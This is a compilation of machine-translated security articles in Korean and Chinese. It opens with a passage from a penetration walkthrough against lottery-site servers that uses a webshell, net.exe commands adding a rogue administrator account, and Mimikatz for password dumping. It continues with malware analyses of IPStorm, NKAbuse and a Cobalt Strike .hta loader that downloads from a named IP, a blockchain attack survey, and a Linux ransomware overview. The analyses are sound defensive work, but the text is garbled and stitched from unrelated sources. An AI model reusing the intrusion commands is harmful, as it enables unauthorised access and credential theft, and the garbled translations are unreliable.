5. 로그 파일을 봅니다.

图片

6. 주방 나이프를 연결하여 사용자를 추가하고 Mimikatz를 업로드하십시오.

주방 나이프를 사용하여 로그 파일에 연결하여 Trojan, xxx/test.php password :test

图片

시스템 관리자 시스템 권한이 있는지 확인하고 찾으십시오. 사용자를 추가하여 관리 그룹에 추가하십시오.

명령은 : C: \ Windows \ System32 \ net.exe 사용자 테스트 테스트!@#123 /Add입니다

C: \ Windows \ System32 \ net.exe 로컬 그룹 관리자 테스트 /추가

Mimikataz를 서버에 업로드하십시오.

图片

7. 3389 연결 및 관리자 비밀번호를 읽으십시오.

(1) Direct Telnet IP 3389 테스트에 따르면 액세스 할 수있는 것이 발견되었으므로 직접 3389를 연결하여 입력했습니다.

图片

(2) 또는 다음 명령은 여기에 주방 나이프에서 실행되어 포트를 3389까지 쿼리합니다.

1 단계 : 작업 목록 /SVC | Findstr Eartservice 쿼리 원격 데스크탑 서비스 프로세스

2 단계 : NETSTAT -ANO | Findstr **** //원격 데스크탑 서비스 프로세스 번호에 해당하는 포트 번호를 확인하십시오.

(3) Mimikatz를 실행하고 관리자 그룹 로그인 암호를 읽으십시오.

图片

(4) 얻은 관리자/xxxx 계정 암호를 사용하여 서버에 원격으로 로그인하십시오.

图片

서버는 Phpmystudy를 사용하여 배치로 복권 스테이션을 건설하는 것으로 밝혀졌습니다. 약 12 개의 사이트가 있었고, 여러 서버의 웹 사이트 도메인 이름에 액세스 할 수있었습니다. 일부 스크린 샷은 다음과 같습니다

시스템 1 :

图片

시스템 2 :

图片

시스템 :

图片

무대 1 :

图片

무대 뒤 2 :

图片

원래 링크에서 재 인쇄 : https://mp.weixin.qq.com/s?__biz=MZG2NDYWMDA1NA==MID=MID=2247487003IDX=1SN=5C85B34CE6FFB400FDF858737E34DF3DCHK SM=CE67A482F9102D9405E838F34479DC8D1C6B793D3B6D4F40D9B3CEC9CC87F1455D865CB3DDCSCENE=21#WECHAT_REDIGRECT

https://blog.csdn.net/weixin_3997829/article/details/109186917

2023年11月,IPStorm基礎設施被FBI拆除,同時對與IPStorm惡意軟件有關的相關個人進行了定罪。這是當前打擊網絡威脅工作中的一個重要里程碑。

本文將對IPStorm惡意軟件的變體和功能進行深入介紹。

2019年5月,來自anomaly的研究人員發現了一種新的針對Windows的Golang惡意軟件,他們將其命名為IPStorm。 IPStorm是一種殭屍網絡,它濫用名為星際文件系統(IPFS)的合法點對點(p2p)網絡作為掩蓋惡意流量的手段。據發現,該惡意軟件允許攻擊者在受害者的Windows計算機上執行任意PowerShell命令。

研究人員最近確定了針對各種Linux架構(ARM, AMD64, Intel 80386)和平台(服務器,Android, IoT)的IPStorm新Linux變體並檢測到一個macOS變體。在本文發佈時,macOS變體和大多數Linux樣本在VirusTotal中完全未被檢測到。 IPStorm是用Golang編寫的,這使得Intezer能夠檢測到Linux樣本和由anomaly首先報告的Windows惡意軟件之間的跨平台代碼連接。

linux變體比Windows變體有更多的功能,比如使用SSH暴力破解來傳播給更多的受害者,以及濫用Steam遊戲和廣告平台的欺詐性網絡活動。 linux變體調整了一些功能,以解釋該操作系統和Windows之間存在的根本差異。

接下來將介紹IPStorm Windows和Linux樣本之間的代碼關係圖,分析其中一個Linux變體的行為,並將其功能和功能與舊的Windows樣本進行比較,以跟踪其演變。

IPStorm技術分析大多數IPStorm Linux樣本在我們將它們提交給Intezer進行分析之前是完全未被檢測到的。

在這篇文章中,我們將重點關注658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117 Linux樣本。

1.png

658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117在VirusTotal中未檢測到樣本

由於IPStorm是用Golang編寫的,我們不僅可以觀察到不同Linux變體之間的強代碼連接,還可以識別到2019年上傳至Intezer的IPStorm Windows樣本的連接。

2.png

由Intezer分析分類的IPStorm惡意軟件家族樣本

下圖強調了不同版本和操作系統之間的代碼相似性。節點表示單個樣本,線條表示它們之間的代碼關係,所有的樣本都以某種方式相互聯繫。

3.png

不同樣本間的IPStorm代碼相似性圖。節點表示單個樣本,線條表示它們之間的代碼關係

該圖描繪了三個主要的集群,每個集群都包含具有強代碼連接的樣本:

PE, intel 80386架構;

ELF, intel 80386架構;

ELF和x86-64架構;

你還會注意到ELF集群和ELF和PE intel 80386架構集群之間存在共享代碼。

你可以使用這個GitHub存儲庫中的cluster_directory.py API腳本來創建你自己的集群圖。

IPStorm Linux變體活動流程去除Linux的變體符號,使用插件IDAGolangHelper,我們檢索了文件的符號,並準確地看到了惡意軟件包含哪些包。在Go語言中,包是一群組成特定功能的Go源文件,每個Go源文件都屬於一個包。

Linux惡意軟件的主要邏輯是在一個名為storm_starter的包中實現的,這是一個Windows變體中沒有的新包。所有的邏輯都是通過Windows變體的main函數實現的。

這兩個版本在實現主要流程的方式上有相似之處,但是,由於兩個操作系統之間存在差異,Linux實例具有額外的功能並調整了一些邏輯。

Linux迭代首先禁用內存不足(OOM)殺手程序,以防止它終止惡意軟件,隨後繼續檢查以防止病毒或其他惡意軟件進一步執行與安全工具有相關的任何進程。接下來,惡意軟件生成公鑰將其保存在一個名為strom.key的文件中。這個密鑰保存的位置是基於惡意軟件被執行時的權限。如果惡意軟件以root權限執行,密鑰將存儲在/etc/storm.key;否則,將保存在/tmp/storm.key下。然後,惡意軟件試圖與點對點網絡中的其他節點建立連接。

惡意軟件向不同的服務發送HTTP請求,如diagnostic[.]opendns[.]com/myip, ifconfig[.]io/ip和myip[.]dnsomatic[.]]com接收受害服務器的外部IP地址。如果惡意軟件以root身份運行,它將在systemd下創建一個服務來實現持久化,並將自己複製到/usr/bin/storm,否則將被拷貝到/tmp/storm目錄下;然後,惡意軟件將從新的安裝路徑重新啟動。

這個新進程負責執行IPStorm惡意軟件的主要功能,包括之前在Windows變體中看到的逆向shell,維護與P2P網絡中其他對等節點的連接,以及將惡意軟件傳播給其他受害者的新功能。

4.png

IPStorm Linux輸出非特權用戶

Linux與Windows比較比較IPStorm linux變體0.2.05a和Windows變體0.0.2m可以發現,開發者添加了一些功能,並修改了現有的功能來攻擊Linux平台。

包比較該惡意軟件由不同的Golang包組成,每個包提供不同的功能。下表對兩個版本之間的包比較進行了分類:

5.1.png

5.2.png

5.3.png

注:我們將linux變體0.2.05a與Windows變體0.0.2m進行了比較,將後者在anomaly的報告中進行了分析。然而,惡意軟件經常被更新,我們已經觀察到多個不同的版本,它們之間的功能也可能不同。

功能比較掃描工具:Android和SSH暴力破解Linux變體試圖通過SSH暴力破解在互聯網上傳播和感染其他受害者。一旦建立連接,惡意軟件將通過比較受攻擊服務器的主機名和字符串“svr04”(這是corie SSH蜜罐的默認主機名)來檢查受害服務器是否是蜜罐。如果惡意軟件識別到蜜罐,它將關閉連接,否則它將繼續下載有效載荷並感染服務器。

6.png

驗證服務器是否為蜜罐

linux變體特有的另一種傳播方法是搜索潛在的Android受害者,惡意軟件檢查連接ADB (Android Debug Bridge)到受害節點的設備。一旦識別出來,它就會將之前從P2P網絡下載的Android版本的IPStorm上傳到設備上。

7.png

來自storm服務日誌的屏幕截圖,顯示下載的文件

繞過殺毒軟件IPStorm Windows和linux變體都實現了與檢測逃避相關的功能,每個版本使用不同的技術。在linux變體中,負責此邏輯的包稱為storm_malware_guard。該文件遍歷所有當前運行的進程,以便找到並終止可能檢測到惡意軟件活動的進程。

storm_malware_guard包中實現此技術的函數稱為KillSuspiciousProcesses。這個包中的其他函數負責獲取有關CPU和內存使用情況、I/O端口數量以及返回有關進程和線程信息的函數的信息。

在Windows變體中,逃避邏輯是在一個名為avbypass的包中實現的。該技術基於隨機睡眠時間和多個函數調用,此方法的目的是使反病毒解決方案更難跟踪原始進程。

似乎由於不同的操作系統,每個版本的IPStorm都有自己的逃避檢測的方法。

逆向shell兩個版本的IPStorm都使用backshell這個名稱來指代逆向shell的功能,Linux變體的backshell功能與Windows變體相同。

Windows變體有一個名為powershell的包,其中包含實現逆向shell的函數。 linux變體中也有相同的包,但它只包含一個函數:storm_powershell__ptr_Backend_StartProcess。該函數用於獲取受感染系統的逆向shell。

逆向shell的實現是兩個IPStorm變體之間代碼重用連接的一個清晰樣本。下面的截屏顯示了兩個版本中文件名的變化和相同的函數名:

Linux:

8.png

windows:

9.png

持久性linux變體只有在以root權限執行時才會嘗試獲得持久性,另一方面,Windows變體總是希望獲得持久性。惡意軟件的每個變體,Linux和Windows,都使用不同的技術來獲得持久性,因為它們針對的操作系統根本不同。

Windows變體通過將自身複製到隨機位置並將程序添加到HKCU:SoftwareMicrosoftWindowsCurrentVersionRun註冊項來實現持久性。

linux變體通過在/etc/systemd/system/storm.service下創建systemd服務來實現持久化。

10.png

/etc/systemd/system/storm.service

11.png

在Linux變體中實現持久性的函數

另一個區別是文件被複製到的位置。 Windows變體使用隨機文件路徑,linux變體使用固定路徑。

網絡流量除了創建逆向shell之外,我們還發現IPStorm的Linux變體利用其廣泛傳播的優勢在backshell執行不同的欺詐活動,濫用遊戲和廣告盈利。由於它是殭屍網絡,惡意軟件利用來自不同可信來源的大量請求,因此不會被阻止或追踪。

在Windows變體中沒有觀察到這種活動。

Steam遊戲欺詐Steam是Valve公司推出的一款受歡迎的遊戲服務,在全球擁有數億用戶,它還為想要在自己的網站上使用Steam數據的開發者提供了一個API。

作為遊戲開發者盈利過程的一部分,Steam用戶可以購買和出售不同的道具,如裝備、皮膚和其他遊戲內元素。這個平台非常受歡迎,已經成為網絡罪犯的熱門目標。

攻擊者使用的一種已知方法是創建網絡釣魚網站,引誘用戶提交他們的Steam登錄憑證,通過訪問用戶的憑據,攻擊者可以完全訪問該帳戶,包括API密鑰。

IPStorm生成了大量的流量到Steam的API,查詢各種Steam用戶的數據,並使用多個有效的API密鑰。

12.png

目前懷疑這些被盜賬戶是被監控的虛假交易騙局的一部分。

廣告欺詐該惡意軟件生成模仿虛假廣告點擊的請求。我們追踪到的所有廣告都與色情網站有關,惡意軟件在不同的預定義網站上爬行,搜索廣告iframe,並通過瀏覽iframe來模仿用戶的“點擊”。

13.png

惡意軟件向廣告平台生成請求的樣本

14.png

惡意軟件爬過的網站

IPStorm檢測受攻擊系統檢測可以通過以下步驟檢查系統是否被IPStorm惡意軟件攻擊。

1.執行pstree | grep storm,檢查系統是否啟動IPStorm進程。

15.png

IPStorm通常使用多線程運行。

2.執行sudo systemctl status strom.service命令,檢查系統上運行的服務,因為如果惡意軟件以root權限執行,它將創建一個用於持久化的服務。

16.png

3.檢查系統中是否存在IPStorm的文件。

執行sudo find/-name “storm*” -type f命令

3.1在非root執行的情況下,輸出將類似於下面的屏幕截圖:

17.png

3.2如果惡意軟件以root權限執行,輸出將類似於下面的屏幕截圖:

18.png

4.檢查系統上開放的端口以及與之關聯的進程。執行sudo ss -tulpn命令,在下面的屏幕截圖中,屬於IPStorm惡意軟件的許多進程監聽特定端口。

19.png

5.免費使用Intezer Protect社區測試版來識別系統上正在運行的進程。下面的屏幕截圖來自服務器上執行的IPStorm警報,系統提供的信息包括惡意軟件家族名稱,可執行文件的完整路徑,進程ID,執行時間,以及到Intezer的鏈接,你可以在此惡意軟件中觀察到普遍的代碼重用。

20.png

系統受攻擊後如何終止IPStorm1.如果惡意軟件作為服務運行,則應執行sudo systemctl stop storm.service命令停止該服務:

2.刪除所有與IPStorm惡意軟件相關的文件。

3.執行sudo pkill -9 storm命令終止該進程

IPStorm響應我們提供了一個YARA規則,旨在針對內存中的工件運行,以便能夠檢測這些植入程序。

系統安全加固1.確保SSH連接是安全的。使用密鑰代替密碼或使用多因素身份驗證,瀏覽此處獲取有關SSH加固的更多提示。

2.確保系統更新到最新的軟件,並與最新的安全最佳實踐保持一致。

3.使用運行時雲工作負載保護解決方案,如Intezer Protect。 Protect提供了對系統中代碼的完整運行時可見性,並對偏離安全基線的任何可疑或未經授權的代碼發出警報。

總結IPStorm背後的攻擊者非常活躍,頻繁發布具有新功能和改進的更新版本,以及擴展到幾個不同的平台和架構,現在帶有Linux惡意軟件的IPStorm是在Golang開發的跨平台惡意軟件的最新樣本。被IPStorm攻擊的平台不僅暴露於其服務的後門,而且還被添加到IPStorm殭屍網絡中,試圖傳播給其他受害者。在過去的六個月裡,人們發現了越來越多的Golang ELF惡意軟件攻擊服務器,IPStorm是其中的一部分,其他惡意軟件還有Kaiji、Kinsing和FritzFrog。

研究人員發現一款基於Go的多平台惡意軟件——NKAbuse,這是首個發現的濫用新網絡技術(NKN)進行數據交換的惡意軟件。

NKNNKN(新網絡技術)是一種使用區塊鏈技術管理資源和維護安全以及透明模型的去中心化點對點網絡協議。 NKN的作用之一是優化數據傳輸速率和網絡延遲,具體步驟是通過計算高效的數據包傳遞路徑來實現的。與Tor網絡類似,個人用戶可以通過運行節點加入NKN網絡。目前,NKN網絡有大約60710個節點,大量階段的參與可以增強網絡的魯棒性、去中心化、以及處理大量數據的能力。

image.png

圖NKN的數據流動

NKAbuse惡意軟件NKAbuse是一款基於Go的多平台惡意軟件,這是首個濫用新網絡技術(NKN)進行數據交換的惡意軟件,主要攻擊位於墨西哥、哥倫比亞和越南的Linux主機。其中一個NKAbuse感染的案例利用了Apache Struts漏洞(CVE-2017-5638)來攻擊金融機構。雖然大多數攻擊的目標是Linux計算機,但惡意軟件也可以入侵物聯網設備,並支持MIPS、ARM和386架構。

DDoS攻擊NKAbuse錄用NKN公鏈協議來實現大量的洪氾攻擊,並在Linux系統中植入後門。具體來說,惡意軟件客戶端與殭屍主機通過NKN來發送和接收數據。 C2發送的payload命令包括針對特定目標的HTTP、TCP、UDP、PING、ICMP、SSL洪氾攻擊等。

image.png

圖DDoS攻擊命令

所有這些payload之前也被用於殭屍網絡,因此當與NKN相結合後,惡意軟件就可以等待管理主機發起混合攻擊。

RAT除了DDoS能力外,NKAbuse還可以在被入侵的系統中作為遠程訪問木馬(RAT),允許其運營者進行命令執行、數據竊取和截屏等操作。

image.png

圖NKAbuse的截屏功能

NKAbuse濫用NKN發起的DDoS攻擊很難溯源到特定的基礎設施,並且不會被大多數安全工具標記因為來源於一個新的協議。而使用區塊鏈技術可以確保可用性,複雜的攻擊源頭使得這一威脅變得很難應對。

更多參見:https://securelist.com/unveiling-nkabuse/111512/

我們將在本文介紹解碼用於加載cobalt strike shellcode的簡單.hta加載器的過程,接下來用文本編輯器執行初始分析,並使用CyberChef提取嵌入的shellcode,將使用模擬器(SpeakEasy)驗證shellcode,使用Ghidra執行一些基本分析。

哈希:2 c683d112d528b63dfaa7ee0140eebc4960fe4fad6292c9456f2fbb4d2364680。將zip文件下載到一個安全的虛擬機中,並在感染密碼的情況下解壓縮,將顯示一個.hta文件。hta文件本質上是一個帶有嵌入式腳本的html文件,我們的目標是定位和分析嵌入的腳本。

1.png

由於.hta是一種基於文本的格式,我們可以直接在文本編輯器中打開該文件。

使用文本編輯器進行分析在文本編輯器中打開該文件將顯示一小段混淆的代碼,後面跟著一個大的base64 blob。

2.png

出於分析目的,我們不需要解碼初始部分,我們可以通過PowerShell命令的存在和分解的wscript.shell來判斷這一點。它通常從javascript執行命令。

3.png

使用初始腳本只執行base64 blob的方法,我們可以直接解碼base64。如果base64 blob不能解碼,可以返回到初始片段進行分析。

解碼Base64可以繼續突出顯示整個base64 blob並將其複製到cyberchef,現在可以嘗試解碼它。

4.png

將base64內容複製到CyberChef中,可以看到字符之間帶有空字節的明文,這通常表示utf-16編碼,很容易通過“decode text”或“remove null bytes”刪除。

5.png

通過在配方中添加“remove null bytes”,可以獲得看起來像PowerShell腳本的解碼內容。

6.png

使用“解碼文本”和“utf-16”也可以很好地工作。

7.png

這兩個選項都會產生一個解碼的powershell腳本,可以將其複製到一個新的文本編輯器窗口中。

8.png

PowerShell腳本分析現在將PowerShell腳本放入文本編輯器中,我們可以繼續掃描關鍵字或任何可能指示下一步操作的內容。

在腳本中間的十六進製字節的大blob,以及大量的api的引用,可用於分配(VirtualAlloc),寫入(memset)和執行(CreateThread)內存中的東西。

9.png

在腳本的底部有一些小的東西。該腳本休眠60秒,如果初始腳本失敗,會嘗試切換到64位版本的Powershell。

解碼十六進製字節使用CyberChef為了分析十六進製字節,我們可以復制它們並嘗試使用CyberChef解碼它們,通過複製以下字節並將它們移動到CyberChef來實現。

10.png

一旦複製,字節可以用一個簡單的“from十六進制”操作解碼。在本例中,逗號和0x被自動識別。

11.png

我們還可以看到,雖然內容被“解碼”,但看起來仍然不太好。

12.png

用CyberChef驗證ShellCode此時,驗證我們的假設,即解碼的內容是shellcode。一種常見的方法是在shellcode中查找明文值(ip, api名稱),這需要做額外的分析。

13.png

使用CyberChef,可以通過嘗試反彙編字節來驗證我們的理論,即內容是shellcode。我們需要將值轉換為十六進制,然後使用CyberChef的Disassemble x86操作。

14.png

在這裡,可以看到字節已經成功反彙編。

1.沒有明顯的紅色部分錶示反彙編失敗;

2.CLD :這是shellcode執行的第一個常見命令。

還有其他一些指標,如早期調用操作和錯誤0D操作,這些都是Cobalt Strike shell代碼常見的情況。這些模式看起來很奇怪,但在看過一些shellcode示例之後就很容易識別了。

現在,我們可以假設數據是shellcode,並通過嘗試執行它來做進一步的驗證。

此時,可以繼續分析反彙編字節,我們需要對x86指令有所熟悉。嘗試並執行代碼通常要容易得多。特別是對於較大的shellcode示例。

通過在模擬器中執行來驗證ShellCode為了進一步驗證數據是shellcode並嘗試確定它的功能,我們可以將其保存到一個文件中,並嘗試在模擬器或調試器中運行它。

在這種情況下,可以使用FireEye的SpeakEasy工具。你可以在這裡閱讀SpeakEasy,並從GitHub下載。

在運行SpeakEasy之前,我們可以先下載可疑shellcode的原始字節,確保刪除十六進制和反彙編x86操作。

15.png

你可以將文件命名為任何你喜歡的名稱,本文將其命名為shellcode.bin。

16.png

接下來,可以用以下命令在SpeakEasy工具上打開命令提示符。

-t :要模擬的目標文件;

-r :告訴SpeakEasy文件是shellcode;

-a x86 :告訴SpeakEasy假定x86指令。這幾乎總是x86或x64,如果其中一個失敗,可以試試另一個。

17.png

按下enter鍵,SpeakEasy就可以成功地模擬代碼。在這裡我們可以看到,為了從51.79.49[.]174:443下載一些東西,進行了許多api調用。

18.png

現在,可以安全地假設整個腳本和shellcode的主要目的是充當下載程序。此時,還可以調查到該IP地址的連接,並確定是否成功下載和執行了任何內容。

區塊鏈攻擊向量:區塊鏈技術的主要漏洞(上)

區塊鏈攻擊向量有數百種可能的區塊鏈攻擊針對應用程序的不同部分。讓我們看一下關鍵向量和攻擊示例:

image.png

點對點攻擊點對點(P2P)網絡使區塊鏈成為分佈式賬本。它包括合作處理交易、管理用戶和管理區塊鏈的所有網絡參與者。

對於去中心化應用程序(dApp)和加密錢包,主要的網絡要求是與可信的區塊鏈節點提供商建立安全連接。此外,錢包和dApp 之間需要安全連接,並且必須能夠處理其他方的不當行為。

常見P2P攻擊示例:

Sybil攻擊是通過向同一節點分配多個標識符來安排的。區塊鍊網絡沒有可信節點,每個請求都會發送到多個隨機節點。在女巫攻擊期間,黑客控制多個網絡節點。然後受害者就會被假節點包圍,關閉他們的所有交易。最後,受害者容易受到雙花攻擊。

Eclipse 攻擊需要黑客控制大量IP 地址或擁有分佈式殭屍網絡。然後攻擊者覆蓋受害節點的tried表中的地址,並等待受害節點重新啟動。重啟後,受害節點的所有傳出連接將被重定向到攻擊者控制的IP地址。這使得受害者無法獲得他們感興趣的交易。

時間劫持利用了區塊鏈時間戳處理中的理論上的漏洞。黑客改變節點的網絡時間計數器並迫使節點接受替代區塊鏈。當惡意用戶將多個具有不准確時間戳的虛假對等點添加到網絡時,就可以實現這一點。

Apriorit 針對保護P2P 網絡的建議:

使用HTTPS 連接並驗證SSL 證書。這些措施允許網絡節點建立安全連接並加密傳輸中的數據。這可以保護數據免遭盜竊和劫持。

驗證資源真實性。創建執行惡意操作的流行資源的精確副本是一種常見的黑客技術。您可以通過驗證資源名稱等方式來驗證可信資源。

提高用戶的可信度。在純粹的對等網絡中,所有實體都是平等的,但您可以更改這一點以向值得信賴的用戶授予更多權限。例如,您可以增加創建新身份的成本,需要某種類型的信任證明才能加入網絡,並根據聲譽確定用戶的權力。

遠程過程調用協議攻擊基於遠程過程調用(RPC)協議的節點促進區塊鏈中網絡元素之間的通信。特別是,RPC 節點允許檢索交易歷史等數據、執行智能合約、傳達新交易以及維護網絡共識。

對RPC 節點的攻擊旨在破壞或劫持此通信。此類攻擊的常見示例:

分佈式拒絕服務(DDoS) 攻擊允許黑客通過重複請求消耗所有處理資源來癱瘓網絡節點。 DDoS 攻擊者的目標是斷開網絡的礦池、電子錢包、數據交換和其他元素。

竊聽似乎不會停止節點操作,但它允許惡意行為者監聽節點的通信。黑客可以注入惡意代碼或利用後門來獲得對節點數據、網絡路由和通過節點傳輸的敏感信息的未經授權的訪問。根據這些信息,黑客可以找到區塊鏈中的漏洞併計劃下一次攻擊。

網絡釣魚是一種普遍存在的社會工程攻擊,黑客通過讓用戶點擊惡意鏈接或將數據提交到虛假網站來竊取用戶的敏感信息。通過這種方式,黑客可以獲取用戶與區塊鏈節點通信的信息,進行模仿,從而獲得對用戶錢包的訪問權限。

Apriorit 針對保護PRC 節點的建議:

運行驗證器。驗證器在將新交易添加到區塊鏈之前根據網絡規則和網絡安全標準檢查新交易。驗證可能會減慢交易處理速度,但它減少了將欺詐或惡意交易永久記錄到區塊鏈的機會

實施用戶身份驗證和訪問控制。所有用戶在訪問區塊鍊網絡之前都應確認自己的身份。他們還應該能夠僅訪問他們需要的元素。此類訪問限制可減少黑客未經授權訪問用戶帳戶時的攻擊面。

共識攻擊共識機制意味著大多數網絡節點必須就區塊鏈系統的狀態以及系統的任何更改達成一致。共識機制有多種,其中關鍵的有:

工作量證明(PoW),參與者競爭解決複雜的數學難題。第一個解決難題的人有權向區塊鏈添加新區塊,並獲得加密貨幣獎勵。

權益證明(PoS),根據加密貨幣的所有權或權益選擇新區塊的創建者。擁有較高權益的參與者有更大的機會被選擇來驗證交易並創建新區塊。 PoS 被認為比PoW 更節能,因為它不需要相同水平的計算工作。

這些機制通過防止惡意行為者操縱系統來幫助維護區塊鏈的完整性和安全性。黑客可以嘗試通過以下類型的攻擊來操縱網絡共識:

遠程攻擊針對使用PoS 共識算法的網絡,用戶可以根據自己持有的代幣數量來挖掘或驗證區塊交易。在遠程攻擊中,黑客使用購買或竊取的具有相當大代幣餘額的私鑰,該私鑰過去已用於驗證。然後,黑客可以生成區塊鏈的替代歷史記錄,並根據PoS 驗證增加獎勵。

當黑客控制51% 的網絡哈希率並創建一個最終優先於現有分叉的替代分叉時,就有可能發生51%或多數攻擊。所有小型加密貨幣都面臨著多數攻擊的風險。由於這些加密貨幣吸引的礦工較少,攻擊者只需租用計算能力即可獲得網絡的大部分份額。

當攻擊者創建兩個衝突的交易時,就會執行競爭攻擊。第一個交易被發送給受害者,受害者接受付款(例如發送產品),而無需等待交易確認。與此同時,向攻擊者返回相同數量的加密貨幣的衝突交易被廣播到網絡,最終使第一筆交易無效。

Apriorit 確保區塊鏈共識的建議

落實處罰制度。這樣的系統應該檢測有害活動並向負責任的節點分配懲罰。例如,這可以通過鎖定一些治理參與者並擁有一組隨機的見證人來驗證每個操作來完成。

延遲區塊鏈確認。許多針對共識算法的攻擊需要在網絡節點捕獲惡意活動之前快速執行。您可以手動減慢交易確認速度,以便有更多時間來檢測有害操作。

加密攻擊加密算法幫助區塊鏈保護數據和交易免遭窺探。惡意行為者可以針對依賴薄弱協議或在加密實現中存在錯誤的網絡。此類攻擊可幫助黑客竊取數據或資金,或獲取有關網絡的更多信息以準備下一次攻擊。

常見的加密攻擊:

哈希衝突是哈希函數錯誤,它會為任何大小的輸入生成固定大小的數組。當兩個不同的輸入生成相同的輸出時,就會發生哈希衝突。如果新交易與現有交易具有相同的哈希值,這可能是一個嚴重的問題。

私鑰預測是嘗試猜測或暴力破解與特定用戶或實體關聯的私鑰。此類預測可以基於字典攻擊、鍵盤記錄、社會工程和其他攻擊向量。

Apriorit 對區塊鏈加密的建議

使用可信且強大的加密算法。您可以實施TLS、RSA、SHA-256 或任何其他加密算法來保護您的交易。請務必研究您選擇的算法並遵循實施最佳實踐,以降低創建漏洞的風險。

實施多重簽名錢包。這種類型的錢包需要至少兩個私鑰來簽署交易。這樣,即使黑客獲得了合法用戶的私鑰,也無法利用它來竊取用戶的資金或數據。

交易攻擊惡意行為者通常以區塊鍊網絡內的交易為目標。他們的目的是損害交易的完整性、保密性或可用性。此類攻擊針對的是智能合約、網絡設計以及管理網絡內交易的實施算法中的漏洞。黑客可以通過以下方式攻擊交易:

交易延展性攻擊,旨在誘騙受害者支付兩次。例如,在比特幣網絡中,每筆交易都有一個哈希值,即交易ID。如果攻擊者設法更改交易的ID,他們可以嘗試將具有更改後的哈希值的交易廣播到網絡,並在原始交易之前對其進行確認。如果成功,發送者將認為初始交易失敗,而資金仍將從發送者的帳戶中提取。

驗證攻擊旨在濫用交易驗證過程。所有區塊鏈交易都需要經過用戶驗證才能被認定為有效,這需要時間。攻擊者可以利用這種延遲來欺騙系統在多個交易中使用相同的硬幣或代幣。

時間鎖定交易攻擊允許黑客利用與時間鎖定交易相關的漏洞,這些交易在未來特定時間或滿足某些條件之前無法添加到區塊鏈中。

Apriorit 對區塊鏈交易的建議

防止雙重支出。像Vector 76這樣的雙花攻擊是共識算法濫用的常見結果,即用戶在看似相同的交易中花費了兩次代幣。您可以通過在偵聽期間監控收到的交易、轉發雙花嘗試、插入其他節點來觀察交易以及拒絕直接傳入連接來防止此問題。

使用時間鎖智能合約。這種類型的智能合約為交易添加了各種基於時間的約束。時間鎖智能合約通常會強制執行一段時間延遲,在此期間用戶無法執行指定的操作。這使得網絡節點有時間做出決策和檢測可疑交易。

結論儘管區塊鏈的受歡迎程度仍在上升,但越來越多的針對區塊鏈的網絡攻擊可能會對這項技術的聲譽產生負面影響。雖然存在多種可能的攻擊和濫用漏洞,但了解核心區塊鏈安全威脅和攻擊向量使您有機會實施可靠的安全措施。能夠抵禦主要的區塊鏈攻擊可以幫助您提高對產品的信任並避免被黑客攻擊的負面後果。

微信截图_20231129213020.png

Check Point Research (CPR)提供了一些最近針對Linux系統和ESXi系統的勒索軟件攻擊案例,不難發現,這些攻擊在過去幾年一直在增加。

2021年發布的Babuk源代碼顯然促進了大量勒索軟件的出現,許多針對Linux大量使用OpenSSL庫以及ChaCha20/RSA和AES/RSA的算法接連出現。

分析介紹我們對一些頂級勒索軟件家族(總共12個)進行了研究,發現這些勒索軟件要么是直接為Linux系統開發的,要么是用具有強大跨平台組件的語言開發的,比如Golang或Rust,允許它們在Windows和Linux上不加區分地編譯。

為了更好比較Linux和Windows開發的勒索軟件,我們首先需要關注這兩個系統的歷史演變。

1.png

Linux勒索軟件

2.png

Windows勒索軟件

首先,我們注意到,第一個可查的勒索軟件樣本(儘管處於非常早期的階段)可以追溯到1989年。這種被稱為AIDS的威脅是通過軟盤和目標Windows系統傳播的。

直到2004年的GPCode,我們才開始看到第一批惡意軟件。它們專注於Windows環境,很快勒索軟件威脅開始進行演變,如2006年的Archiveus,或2012年作為第一個RaaS出現的Reveton。

到2015年,有了Linux.Encoder.1,這是專門針對Linux的勒索軟件。此時,網絡威脅已經在Windows系統中得到高度發展。儘管這些威脅在Windows中很成熟,但並不能直接轉移到Linux上。

事實上,儘管在2015年已經有針對Linux的勒索軟件,但相比來說,數量仍然非常少。從2020年開始一直到現在,RaaS的Linux版本以及用Golang或Rust等語言開發的跨平台樣本開始出現。

技術分析在目前針對基於linux的操作系統的攻擊中,我們分析了一些最新的:

Maori

Cl0p

Cylance

Royal

ViceSociety

IceFire

BlackCat

ESXiArgs

Rorschach

Monti

LockBit

GwisinLocker

在許多情況下,工具本身被簡化了,在二進製文件中只會留下最小的功能和內容,在某些情況下,只將它們減少到文件加密代碼。這使得本文所列舉的樣本非常依賴外部配置、腳本或命令行來配置其目標。最著名的例子之一是Cl0p,它只具有加密功能,它支持的唯一參數是要加密的路徑。

在名為“ESXiArgs”的勒索軟件中,二進製文件本身甚至沒有嵌入RSA公鑰,但需要包含密鑰的文件的路徑作為參數,以便它可以執行加密,這個樣本甚至沒有加密整個目錄的功能,攻擊者必須用執行加密器的腳本遍歷每個文件。事實上,惡意軟件的名稱是由使用該惡意軟件的攻擊者的https給出的,它特意麵向這種類型的系統。

除了加密功能之外,許多面向linux的勒索軟件幾乎沒有什麼邏輯,因此檢測它們可能是一項挑戰,因為它們的所有代碼都基於許多其他合法應用程序可能包含的相同加密代碼。

在許多樣本中,與服務器的通信協議,是為加密系統做準備的一些命令執行。創建某種持久性的功能(在許多最活躍的Windows系列中發現),甚至是嵌入式配置都是異常元素,可以實現更詳細的惡意軟件檢測,但在大多數勒索軟件中不存在。

當然,也有一些例外,比如BlackCat,它是一個跨平台的樣本,具有特定於windows的功能,如刪除影子副本或搜索共享文件夾。再比如GwisinLocker,它有一個嵌入式加密配置,允許它在不需要參數的情況下工作,並且更加獨立。

最主要和最顯著的動機無疑是對ESXi虛擬化系統的特殊興趣。通過攻擊這些系統,攻擊者可以極大地影響多個服務和設備(所有使用這種技術虛擬化)。這可能就是為什麼絕大多數以linux為目標的勒索軟件,儘管除了加密本身之外幾乎沒有什麼功能,卻傾向於運行旨在與ESXi系統交互的特定命令,特別是:

3.png

Linux勒索軟件圖

需要指出的是,由於ESXi系統與Linux系統並不完全相同,因此發布的不同樣本包含有靜態鏈接,以便它們可以在兩個系統上獨立運行。

